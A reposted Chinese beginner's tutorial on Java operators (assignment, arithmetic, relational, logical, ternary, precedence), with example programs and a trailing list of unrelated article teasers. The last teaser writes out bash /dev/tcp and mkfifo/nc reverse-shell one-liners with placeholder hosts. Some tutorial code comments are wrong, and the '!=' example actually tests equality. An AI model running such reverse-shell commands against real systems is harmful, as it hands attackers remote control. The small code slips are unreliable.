【Java入门合集】第二章Java语言基础(三)

news2024/10/7 5:50:41

【Java入门合集】第二章Java语言基础(三)


博主:命运之光
专栏:JAVA入门

学习目标 掌握变量、常量、表达式的概念,数据类型及变量的定义方法;
掌握常用运算符的使用; 掌握程序的顺序结构、选择结构和循环结构的使用;
掌握数组的定义及使用方法;
掌握基本的输入输出方法;

目录

  • 【Java入门合集】第二章Java语言基础(三)
    • 运算符
      • 赋值运算符
      • 算术运算符
      • 关系运算符
      • 逻辑运算符
      • 条件运算符
      • 运算符优先级

在这里插入图片描述


运算符

Java中的语句有很多种形式,表达式就是其中一种形式。表达式是由操作数运算符所组成:操作数可以是常量变量也可以是方法,而运算符就是数学中的运算符号,如“+”、“-”、“*”、“/”、“%”等。以下面的表达式(z+100)为例,“z”与“100”都是操作数,而“+”就是运算符。
在这里插入图片描述

赋值运算符

赋值运算符分为两种:

  • 简单赋值运算符 “ = ”
    作用是为变量赋值不能为常量或表达式赋值。当赋值运算符两边的数据类型不一致时,使用自动类型转换强制类型转换原则进行处理。
        int  n = 10 ;//声明并赋值
        int  a, b, c;//连续声明
        a = b = c = 10;//多个变量同时赋值,表达式等价于c = 10; b = c; a = b;
        int  x = y = z = 10;//错误,Java不支持此语法
  • 复合赋值运算符 :
    请添加图片描述

🍓🍓例: 使用复合赋值运算符。

public class text1 {
    public static void main(String args[]) {
        int num = 10;
        num *= 2;
        System.out.println(num);
    }
}

请添加图片描述
🍓使用复合赋值运算符的好处

  • 语法简洁;🍍🍍🍍
  • 运算时可以自动在底层完成数据类型的转换;🍍🍍🍍

算术运算符

请添加图片描述
🍓🍓例1: 求模(求余)运算。

public class text1 {
    public static void main(String args[]) {
        int numA = 10;
        int numB = 3;
        System.out.println(numA % numB);
    }
}

请添加图片描述

可以利用与2求模来判断奇偶数(偶数模2为0,奇数模2为1)

🍓🍓例2: 加,减,乘,除运算。

public class text1 {
    public static void main(String args[]) {
        int numA = 10;
        int numB = 20;
        System.out.println("加法计算:" + (numA + numB));
        System.out.println("减法计算:" + (numA - numB));
        System.out.println("乘法计算:" + (numA * numB));
        System.out.println("除法计算:" + (numA / (double) numB));
    }
}

请添加图片描述

  • 两个整数相除,结果只保留整数部分;
  • 除数和被除数若有一个非整数,则结果为浮点数

🍓🍓例3: 字符串连接运算‘+’。

需要满足一个前提条件:表达式中至少有一个字符串

public class text1 {
    public static void main( String args[ ] ) {
        int num = 10;
        System.out.println( "除法运算结果为:" + num/3.0);
    }
}

请添加图片描述

3.0默认为double型,所以除法运算最终结果为浮点数

🍓🍓例4:自增运算符(前置) 。

public class text1 {
    public static void main(String args[]) {
        int numA = 10;			// 定义整型变量
        int numB = 20;			// 定义整型变量
        // “++”写在变量前面,表示先对numA的变量内容加1
        // 使用处理后的numA变量的内容 + numB变量的内容
        int result = ++numA + numB;
        System.out.println("numA = " + numA);
        System.out.println("result = " + result);
    }
}

请添加图片描述
🍓🍓例5:自增运算符(后置)。

public class text1 {
    public static void main(String args[]) {
        int numA = 10; 			// 定义整型变量
        int numB = 20; 			// 定义整型变量
        // “++”写在后面,表示先使用numA的内容进行加法计算
        // 加法计算完成之后在对numA的内容进行自增
        int result = numA++ + numB;
        System.out.println("numA = " + numA);
        System.out.println("result = " + result);
    }
}

请添加图片描述

关系运算符

关系运算符的主要功能是进行数据的大小关系比较,返回的结果是boolean型数据(只有true、false两种取值)。
请添加图片描述

除==和!=运算符之外其他关系运算符都只支持左右两边的操作数都是数值类型的情况

🍓🍓例:使用关系运算符。

public class text1 {
    public static void main(String args[]) {
        System.out.println("3 > 1 = " + (3 > 1));	// 使用大于号
        System.out.println("3 < 1 = " + (3 < 1));	// 使用小于号
        System.out.println("3 >= 1 = " + (3 >= 1));	// 使用大于等于号
        System.out.println("3 <= 1 = " + (3 <= 1));	// 使用小于等于号
        System.out.println("3 == 1 = " + (3 == 1));	// 使用等于号
        System.out.println("3 != 1 = " + (3 == 1));	// 使用不等于号
    }
}

请添加图片描述

逻辑运算符

&—逻辑与 | —逻辑或 !—逻辑非 && —短路与 || —短路或 ^ —逻辑异或
请添加图片描述

逻辑运算符用于操作两个布尔型的变量和常量,其结果仍是布尔类型值

🍓🍓例1:逻辑非(!),普通逻辑与(&)运算。

public class text1 {
    public static void main(String args[]) {
        boolean flag1 = true;		// 定义布尔型变量
        boolean flag2 = (1 == 2) & (10 / 2 == 0); //普通与运算结果赋值给布尔变量
        System.out.println(!flag1);	// 对变量结果进行非操作
        System.out.println(flag2);
    }
}

请添加图片描述
🍓🍓例2:短路与(&&)运算。

public class text1 {
    public static void main(String args[]) {

        boolean flag = (1 == 2) && (10 / 0 == 0); //短路与运算结果赋值给布尔变量

        System.out.println(flag);
    }
}

请添加图片描述
在这里插入图片描述
🍓🍓例3:普通或( | )操作。

public class text1 {
    public static void main(String args[]) {
        boolean flag = (1 == 1) | (10 / 0 == 0); //短路与运算结果赋值给布尔变量
        System.out.println(flag);
    }
}

请添加图片描述
在这里插入图片描述
🍓🍓例4:短路或( || )操作。

public class text1 {
    public static void main(String args[]) {
        boolean flag = (1 == 1) || (10 / 0 == 0); //短路与运算结果赋值给布尔变量
        System.out.println(flag);
    }
}

请添加图片描述
在这里插入图片描述
总结:

  • 逻辑运算符用于连接布尔型表达式,在Java中不可以写成3<x<6,应该写成x>3 & x<6 ;
  • “&”和“&&”的区别:
    1.单&时,左边无论真假,右边都进行运算;
    2.双&时,如果左边为真,右边参与运算,如果左边为假,那么右边不参与运算。
    3.“|”和“||”的区别同理,||表示:当左边为真,右边不参与运算。

条件运算符

条件运算符是三目运算符。执行三目的时候可以以一个布尔表达式的结果进行赋值,基本的语法结构如下:

数据类型 变量 = 布尔表达式 ? 满足此表达式时设置的内容 : 不满足此表达式时设置的内容 ;

public class text1 {
    public static void main(String args[]) {
        int numA = 10;	// 定义int型变量
        int numB = 20;	// 定义int型变量
        // 如果numA大于numB,返回true,则将numA的内容赋值给max
        // 如果numA小于numB,返回false,则将numB的内容赋值给max
        int max = numA > numB ? numA : numB;
        System.out.println(max);
    }
}

请添加图片描述

运算符优先级

请添加图片描述

建议:运算符的优先级不必专门去记,可以适当使用()去改变优先级。

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/482991.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【微信小程序开发】微信小程序集成腾讯位置项目配置

第一步 进入官网 按照Hello World流程走 腾讯位置服务官网 1、申请密钥 当然没账号的要先注册一个账号 在我的应用里创建一个新的应用&#xff0c;印象中需要小程序ID&#xff0c;去微信开发者工具里面找到自己的小程序ID填入即可 添加key中勾选勾选WebServiceAPI 2、下载S…

锐龙7000PBO温度墙设置

AMD的锐龙7000处理器首发评测大家也都看过了&#xff0c;很多人关心的都是它的性能是否可以超越12代酷睿甚至即将发布的13代酷睿&#xff0c;这方面的测试结果差不多了&#xff0c;但是很多人不知道的是散热问题更需要关注。 在评测中&#xff0c;锐龙9 7950X在拷机时温度达到…

【PCIE体系结构七】数据链路层介绍

&#x1f449;个人主页&#xff1a;highman110 &#x1f449;作者简介&#xff1a;一名硬件工程师&#xff0c;持续学习&#xff0c;不断记录&#xff0c;保持思考&#xff0c;输出干货内容 参考书籍&#xff1a;PCI_Express体系结构导读 目录 前言 数据链路层概述 数据链路层…

命名ACL配置

命名ACL配置 【实验目的】 掌握命名ACL的配置。验证配置。 【实验拓扑】 实验拓扑如图1所示。 图1 实验拓扑 设备参数如表所示。 表1 设备参数表 设备 接口 IP地址 子网掩码 默认网关 R1 S0/3/0 192.168.1.1 255.255.255.252 N/A Fa0/0 192.168.2.1 255.255.…

05_Uboot源码目录分析

目录 Uboot 源码目录分析 arch 文件夹 board 文件夹 configs 文件夹 .u-boot.xxx_cmd 文件 Makefile 文件 u-boot.xxx文件 .config文件 README Uboot 源码目录分析 学会uboot使用以后就可以尝试移uboot到自己的开发板上了,但是在移植之前需要我们得先分析一遍uboot的…

什么是Spring FactoryBean?有什么作用?

1、什么是Spring Spring是分层的 Java SE/EE应用 full-stack 轻量级开源框架&#xff0c;以 IOC和AOP为内核。含有七大核心模块 2、Spring的七大模块 (1)Spring Core&#xff1a;核心容器提供了Spring的基本功能。核心容器的核心功能是用IOC 容器来管理类的依赖关系&#xff…

卷积神经网络详解

&#xff08;一&#xff09;网络结构 一个卷积神经网络里包括5部分——输入层、若干个卷积操作和池化层结合的部分、全局平均池化层、输出层&#xff1a; ● 输入层&#xff1a;将每个像素代表一个特征节点输入进来。 ● 卷积操作部分&#xff1a;由多个滤波器组合的卷积层。 …

788. 逆序对的数量(C++和Python3)——2023.5.2打卡

文章目录 QuestionIdeasCode Question 给定一个长度为 n 的整数数列&#xff0c;请你计算数列中的逆序对的数量。 逆序对的定义如下&#xff1a;对于数列的第 i 个和第 j 个元素&#xff0c;如果满足 i<j 且 a[i]>a[j] &#xff0c;则其为一个逆序对&#xff1b;否则不…

14-6-进程间通信-信号量

前面学习了pipe,fifo,共享内存&#xff0c;信号。 本章将讲述信号量。 一、什么是信号量/信号量集&#xff1f; 1.什么是信号量 信号量是一个计数器。信号量用于实现进程间的同步和互斥。而可以取多个正整数的信号量被称为通用信号量。 对信号量的使用场景的解读 房间&#…

MyBatis学习记录

文章目录 MyBatis介绍JDBC缺点MyBatis简化MyBatis快速入门之查询user表中的所有数据1、创建user表&#xff0c;添加数据2、创建模块&#xff0c;导入坐标3、编写MyBatis核心配置文件 --> 替换连接信息&#xff0c;解决硬编码问题4、编写SQL映射文件 --> 同一管理sql语句&…

计算机网络:DNS域名解析过程

基本概念 DNS是域名系统&#xff08;Domain Name System&#xff09;的缩写&#xff0c;也是TCP/IP网络中的一个协议。在Internet上域名与IP地址之间是一一对应的&#xff0c;域名虽然便于人们记忆&#xff0c;但计算机之间只能互相认识IP地址&#xff0c;域名和IP地址之间的转…

实例解读nn.AdaptiveAvgPool2d((1, 1))

nn.AdaptiveAvgPool2d((1, 1))在PyTorch中创建一个AdaptiveAvgPool2d类的实例。该类在输入张量上执行2D自适应平均池化。 自适应平均池化是一种池化操作&#xff0c;它计算每个输入子区域的平均值并产生一个指定大小的输出张量。子区域的大小是根据输入张量的大小和输出张量的…

5年测试点工?老鸟总结功能到接口自动化测试进阶,自动化核心竞争力...

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 我们来说说 功能测…

权限提升:信息收集 .(Linux系统)

权限提升&#xff1a;信息收集. 权限提升简称提权&#xff0c;由于操作系统都是多用户操作系统&#xff0c;用户之间都有权限控制&#xff0c;比如通过 Web 漏洞拿到的是 Web 进程的权限&#xff0c;往往 Web 服务都是以一个权限很低的账号启动的&#xff0c;因此通过 Webshel…

unity 性能优化之GPU和资源优化

Shader相关优化 众所周知&#xff0c;我们在unity里编写Shader使用的HLSL/CG都是高级语言&#xff0c;这是为了可以书写一套Shader兼容多个平台&#xff0c;在unity打包的时候&#xff0c;它会编译成对应平台可以运行的指令&#xff0c;而变体则是&#xff0c;根据宏生成的&am…

【英语】大学英语CET考试,翻译部分(修饰后置,定语从句,插入语,多动句,无主句)

文章目录 3大知识点与出题形式1、修饰后置&#xff08;使用介词&#xff09;2、修饰后置&#xff08;定语从句&#xff08;被逼无奈&#xff09;/which&#xff08;非限制性&#xff0c;加高级&#xff09;&#xff09;3、修饰后置&#xff08;插入语或同位语&#xff08;只有1…

【力扣-20】有效的括号

&#x1f58a;作者 : D. Star. &#x1f4d8;专栏 : 数据结构 &#x1f606;今日分享 : 夏虫不可以语冰 : 出自「庄子秋水」。原句是“井蛙不可以语于海者&#xff0c;拘于虚也&#xff1b;夏虫不可以语于冰者&#xff0c;笃于时也&#xff1b;曲士不可以语于道者&#xff0c;束…

自动驾驶——离散LQR的黎卡提方程Riccati公式推导与LQR工程化

1.LQR Question Background 之前写过连续系统的黎卡提方程Riccati推导&#xff0c;但是考虑到实际工程落地使用的是离散系统&#xff0c;于是又进行了离散黎卡提方程Riccati的公式推导。 2.Proof of Riccati Equation Formula for Discrete Systems 工程化落地&#xff0c;就…

NECCS|全国大学生英语竞赛C类|听力|长对话|15:40~16:33

目录 一、长对话 1.场景词汇&#xff08;接上篇&#xff09; &#xff08;5&#xff09;医院用语 &#xff08;6&#xff09;酒店用语 &#xff08;7&#xff09;机场用语 &#xff08;8&#xff09;办公室用语 二、题目类型 1. 细节题 2. 推理判断题 3. 主旨大意题 …

谈谈常用Reverse shell,以及他们是怎么做到的。

谈谈常用Reverse shell&#xff0c;以及他们是怎么做到的。 前言/bin/bash -i >& /dev/tcp/ip/port 0>&1/bin/bash -i>&/dev/tcp0>&1结合起来 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc ip port >/tmp/frm /tmp/fmkfifo…